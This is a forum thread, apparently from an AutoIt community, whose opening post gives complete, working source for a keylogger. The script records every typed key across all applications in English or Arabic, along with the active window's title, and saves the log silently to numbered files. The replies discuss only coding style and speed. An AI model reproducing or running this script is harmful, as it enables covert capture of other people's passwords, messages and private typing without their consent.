Sign in to follow this  
Followers 0
wolf9228

Type key Record any Language

3 posts in this topic

This example For English and Arabic Keyboards

$titlex = WinGetTitle("", "")
$dll = DllOpen("user32.dll")
$Keyboardx = "[ " & $titlex  & " ]" & @CRLF
$key = ""
If not FileExists(@ScriptDir & "\dat\") then DirCreate (@ScriptDir & "\dat")
For $i = 1 to 500 Step 1
If not FileExists(@ScriptDir & "\dat\" & "\data" & $i & ".ini") Then
$fileon = @ScriptDir & "\dat\" &  "\data" & $i & ".ini"
$i = 500
endif
next
while 1
$Keyboardx2 = $Keyboardx
If _IsPressed("C0", $dll) Then OutPressed("C0")
If _IsPressed("31", $dll) Then OutPressed("31")
If _IsPressed("32", $dll) Then OutPressed("32")
If _IsPressed("33", $dll) Then OutPressed("33")
If _IsPressed("34", $dll) Then OutPressed("34")
If _IsPressed("35", $dll) Then OutPressed("35")
If _IsPressed("36", $dll) Then OutPressed("36")
If _IsPressed("37", $dll) Then OutPressed("37")
If _IsPressed("38", $dll) Then OutPressed("38")
If _IsPressed("39", $dll) Then OutPressed("39")
If _IsPressed("30", $dll) Then OutPressed("30")
If _IsPressed("BD", $dll) Then OutPressed("BD")
If _IsPressed("BB", $dll) Then OutPressed("BB")
If _IsPressed("DC", $dll) Then OutPressed("DC")
If _IsPressed("51", $dll) Then OutPressed("51")
If _IsPressed("57", $dll) Then OutPressed("57")
If _IsPressed("45", $dll) Then OutPressed("45")
If _IsPressed("52", $dll) Then OutPressed("52")
If _IsPressed("54", $dll) Then OutPressed("54")
If _IsPressed("59", $dll) Then OutPressed("59")
If _IsPressed("55", $dll) Then OutPressed("55")
If _IsPressed("49", $dll) Then OutPressed("49")
If _IsPressed("4F", $dll) Then OutPressed("4F")
If _IsPressed("50", $dll) Then OutPressed("50")
If _IsPressed("DB", $dll) Then OutPressed("DB")
If _IsPressed("DD", $dll) Then OutPressed("DD")
If _IsPressed("41", $dll) Then OutPressed("41")
If _IsPressed("53", $dll) Then OutPressed("53")
If _IsPressed("44", $dll) Then OutPressed("44")
If _IsPressed("46", $dll) Then OutPressed("46")
If _IsPressed("47", $dll) Then OutPressed("47")
If _IsPressed("48", $dll) Then OutPressed("48")
If _IsPressed("4A", $dll) Then OutPressed("4A")
If _IsPressed("4B", $dll) Then OutPressed("4B")
If _IsPressed("4C", $dll) Then OutPressed("4C")
If _IsPressed("BA", $dll) Then OutPressed("BA")
If _IsPressed("DE", $dll) Then OutPressed("DE")
If _IsPressed("5A", $dll) Then OutPressed("5A")
If _IsPressed("58", $dll) Then OutPressed("58")
If _IsPressed("43", $dll) Then OutPressed("43")
If _IsPressed("56", $dll) Then OutPressed("56")
If _IsPressed("42", $dll) Then OutPressed("42")
If _IsPressed("4E", $dll) Then OutPressed("4E")
If _IsPressed("4D", $dll) Then OutPressed("4D")
If _IsPressed("BC", $dll) Then OutPressed("BC")
If _IsPressed("BE", $dll) Then OutPressed("BE")
If _IsPressed("BF", $dll) Then OutPressed("BF")
If _IsPressed("20", $dll) Then OutPressed("20")
If _IsPressed("0D", $dll) Then OutPressed("0D")
wend 

Func OutPressed($key)
$title = WinGetTitle('', '') 
$hWnd = WinGetHandle($title) 
$type = _GetKeyshct() 
if _GetKeyboardLayout($hWnd) <> '00002001' then $Keyboard = KeyboardEN($type, $key) 
if _GetKeyboardLayout($hWnd) = '00002001' then $Keyboard = KeyboardAR($type , $key) 
if $titlex <> $title then 
$Keyboardx = $Keyboardx & @CRLF & '[ ' & $title & ' ]' & @CRLF 
$titlex = $title 
endif
$Keyboardx = $Keyboardx & $Keyboard 
While _IsPressed($key)
wend
if $Keyboardx2 <> $Keyboardx then 
$file = FileOpen($fileon, 2)
FileWrite($file,$Keyboardx)
FileClose($file)
endif 
EndFunc


Func KeyboardAR($type, $key)
if $type = 'NO' then

if $key = 'C0' then $key = 'ذ'
if $key = '31' then $key = '1'
if $key = '32' then $key = '2'
if $key = '33' then $key = '3'
if $key = '34' then $key = '4'
if $key = '35' then $key = '5'
if $key = '36' then $key = '6'
if $key = '37' then $key = '7'
if $key = '38' then $key = '8'
if $key = '39' then $key = '9'
if $key = '30' then $key = '0'
if $key = 'BD' then $key = '-'
if $key = 'BB' then $key = '='
if $key = 'DC' then $key = '\'
if $key = '51' then $key = 'ض'
if $key = '57' then $key = 'ص'
if $key = '45' then $key = 'ث'
if $key = '52' then $key = 'ق'
if $key = '54' then $key = 'ف'
if $key = '59' then $key = 'غ'
if $key = '55' then $key = 'ع'
if $key = '49' then $key = 'ه'
if $key = '4F' then $key = 'خ'
if $key = '50' then $key = 'ح'
if $key = 'DB' then $key = 'ج'
if $key = 'DD' then $key = 'د'
if $key = '41' then $key = 'ش'
if $key = '53' then $key = 'س'
if $key = '44' then $key = 'ي'
if $key = '46' then $key = 'ب'
if $key = '47' then $key = 'ل'
if $key = '48' then $key = 'ا'
if $key = '4A' then $key = 'ت'
if $key = '4B' then $key = 'ن'
if $key = '4C' then $key = 'م'
if $key = 'BA' then $key = 'ك'
if $key = 'DE' then $key = 'ط'
if $key = '5A' then $key = 'ئ'
if $key = '58' then $key = 'ء'
if $key = '43' then $key = 'ؤ'
if $key = '56' then $key = 'ر'
if $key = '42' then $key = 'لا'
if $key = '4E' then $key = 'ى'
if $key = '4D' then $key = 'ة'
if $key = 'BC' then $key = 'و'
if $key = 'BE' then $key = 'ز'
if $key = 'BF' then $key = 'ظ'
if $key = '20' then $key = " "
if $key = '0D' then $key = @CRLF
return $key
endif

if $type = 'SH' then
if $key = 'C0' then $key = 'ّ'
if $key = '31' then $key = '!'
if $key = '32' then $key = '@'
if $key = '33' then $key = '#'
if $key = '34' then $key = '$'
if $key = '35' then $key = '%'
if $key = '36' then $key = '^'
if $key = '37' then $key = '&'
if $key = '38' then $key = '*'
if $key = '39' then $key = ')'
if $key = '30' then $key = '('
if $key = 'BD' then $key = '_'
if $key = 'BB' then $key = '+'
if $key = 'DC' then $key = '|'
if $key = '51' then $key = 'َ'
if $key = '57' then $key = 'ً'
if $key = '45' then $key = 'ُ'
if $key = '52' then $key = 'ٌ'
if $key = '54' then $key = 'لإ'
if $key = '59' then $key = 'إ'
if $key = '55' then $key = ''
if $key = '49' then $key = '÷'
if $key = '4F' then $key = '×'
if $key = '50' then $key = '؛'
if $key = 'DB' then $key = '<'
if $key = 'DD' then $key = '>'
if $key = '41' then $key = 'ِ'
if $key = '53' then $key = 'ٍ'
if $key = '44' then $key = ']'
if $key = '46' then $key = '['
if $key = '47' then $key = 'لأ'
if $key = '48' then $key = 'أ'
if $key = '4A' then $key = 'ـ'
if $key = '4B' then $key = '،'
if $key = '4C' then $key = '/'
if $key = 'BA' then $key = ':'
if $key = 'DE' then $key = '"'
if $key = '5A' then $key = '~'
if $key = '58' then $key = 'ْ'
if $key = '43' then $key = '}'
if $key = '56' then $key = '{'
if $key = '42' then $key = 'لآ'
if $key = '4E' then $key = 'آ'
if $key = '4D' then $key = ''
if $key = 'BC' then $key = ','
if $key = 'BE' then $key = '.'
if $key = 'BF' then $key = '؟'
if $key = '20' then $key = " "
return $key
endif
if $type = 'CT' then return ""
EndFunc


Func KeyboardEN($type, $key)

if $type = 'NO' then

if $key = 'C0' then $key = '`'
if $key = '31' then $key = '1'
if $key = '32' then $key = '2'
if $key = '33' then $key = '3'
if $key = '34' then $key = '4'
if $key = '35' then $key = '5'
if $key = '36' then $key = '6'
if $key = '37' then $key = '7'
if $key = '38' then $key = '8'
if $key = '39' then $key = '9'
if $key = '30' then $key = '0'
if $key = 'BD' then $key = '-'
if $key = 'BB' then $key = '='
if $key = 'DC' then $key = '\'
if $key = '51' then $key = 'q'
if $key = '57' then $key = 'w'
if $key = '45' then $key = 'e'
if $key = '52' then $key = 'r'
if $key = '54' then $key = 't'
if $key = '59' then $key = 'y'
if $key = '55' then $key = 'u'
if $key = '49' then $key = 'i'
if $key = '4F' then $key = 'o'
if $key = '50' then $key = 'p'
if $key = 'DB' then $key = '['
if $key = 'DD' then $key = ']'
if $key = '41' then $key = 'a'
if $key = '53' then $key = 's'
if $key = '44' then $key = 'd'
if $key = '46' then $key = 'f'
if $key = '47' then $key = 'g'
if $key = '48' then $key = 'h'
if $key = '4A' then $key = 'j'
if $key = '4B' then $key = 'k'
if $key = '4C' then $key = 'l'
if $key = 'BA' then $key = ';'
if $key = 'DE' then $key = "'"
if $key = '5A' then $key = 'z'
if $key = '58' then $key = 'x'
if $key = '43' then $key = 'c'
if $key = '56' then $key = 'v'
if $key = '42' then $key = 'b'
if $key = '4E' then $key = 'n'
if $key = '4D' then $key = 'm'
if $key = 'BC' then $key = ','
if $key = 'BE' then $key = '.'
if $key = 'BF' then $key = '/'
if $key = '20' then $key = " "
if $key = '0D' then $key = @CRLF
return $key
endif

if $type = 'SH' then

if $key = 'C0' then $key = '~'
if $key = '31' then $key = '!'
if $key = '32' then $key = '@'
if $key = '33' then $key = '#'
if $key = '34' then $key = '$'
if $key = '35' then $key = '%'
if $key = '36' then $key = '^'
if $key = '37' then $key = '&'
if $key = '38' then $key = '*'
if $key = '39' then $key = '('
if $key = '30' then $key = ')'
if $key = 'BD' then $key = '_'
if $key = 'BB' then $key = '+'
if $key = 'DC' then $key = '|'
if $key = '51' then $key = 'Q'
if $key = '57' then $key = 'W'
if $key = '45' then $key = 'E'
if $key = '52' then $key = 'R'
if $key = '54' then $key = 'T'
if $key = '59' then $key = 'Y'
if $key = '55' then $key = 'U'
if $key = '49' then $key = 'I'
if $key = '4F' then $key = 'O'
if $key = '50' then $key = 'P'
if $key = 'DB' then $key = '{'
if $key = 'DD' then $key = '}'
if $key = '41' then $key = 'A'
if $key = '53' then $key = 'S'
if $key = '44' then $key = 'D'
if $key = '46' then $key = 'F'
if $key = '47' then $key = 'G'
if $key = '48' then $key = 'H'
if $key = '4A' then $key = 'J'
if $key = '4B' then $key = 'K'
if $key = '4C' then $key = 'L'
if $key = 'BA' then $key = ':'
if $key = 'DE' then $key = '"'
if $key = '5A' then $key = 'Z'
if $key = '58' then $key = 'X'
if $key = '43' then $key = 'C'
if $key = '56' then $key = 'V'
if $key = '42' then $key = 'B'
if $key = '4E' then $key = 'N'
if $key = '4D' then $key = 'M'
if $key = 'BC' then $key = '<'
if $key = 'BE' then $key = '>'
if $key = 'BF' then $key = '?'
if $key = '20' then $key = " "
return $key
endif
if $type = 'CT' then return ""
EndFunc

Func _GetKeyshct()
If _IsPressed ("10") THEN return "SH" 
If _IsPressed ("11") THEN return "CT"
return "NO"
EndFunc

Func _GetKeyboardLayout($hWnd)
Local $ret = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
$ret = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $ret[0])
Return "0000" & Hex($ret[0], 4)
EndFunc

Func _IsPressed($s_hexKey, $v_dll = 'user32.dll')
Local $a_R = DllCall($v_dll, "int", "GetAsyncKeyState", "int", '0x' & $s_hexKey)
If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 1
Return 0
EndFunc

صرح السماء كان هنا

 

Share this post


Link to post
Share on other sites



This example For English and Arabic Keyboards

Not sure what your question is ...

But be aware that "if" statements are read consecutively (one after the other) and every single one is computed, even if the first condition applies already. All this makes your code very slow.

Have a look at "Select" and "Case" - it'll speed up the process significantly (and skip all non-applicable conditions).

Share this post


Link to post
Share on other sites

Not sure what your question is ...

But be aware that "if" statements are read consecutively (one after the other) and every single one is computed, even if the first condition applies already. All this makes your code very slow.

Have a look at "Select" and "Case" - it'll speed up the process significantly (and skip all non-applicable conditions).

could u please give me am example ..

note : in this script the speed is not needed, coz whaen u use this function _IsPressed("C0", $dll)

u need the command sleep ..


صرح السماء كان هنا

 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0